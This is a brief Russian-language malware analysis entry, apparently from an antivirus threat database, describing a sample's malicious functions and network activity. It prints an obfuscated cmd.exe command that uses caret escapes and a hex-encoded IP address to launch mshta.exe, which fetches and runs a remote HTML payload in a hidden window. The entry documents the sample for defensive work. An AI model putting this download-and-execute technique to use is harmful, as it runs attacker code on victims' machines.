Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c m^s^h^t^a h^t^tp:/^/0^x5^bf^07^6a^8/se/s.html
Сетевая активность
Подключается к
- '91.##0.118.168':80
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c m^s^h^t^a h^t^tp:/^/0^x5^bf^07^6a^8/se/s.html' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\mshta.exe' http://0x5bf076a8/se/s.html
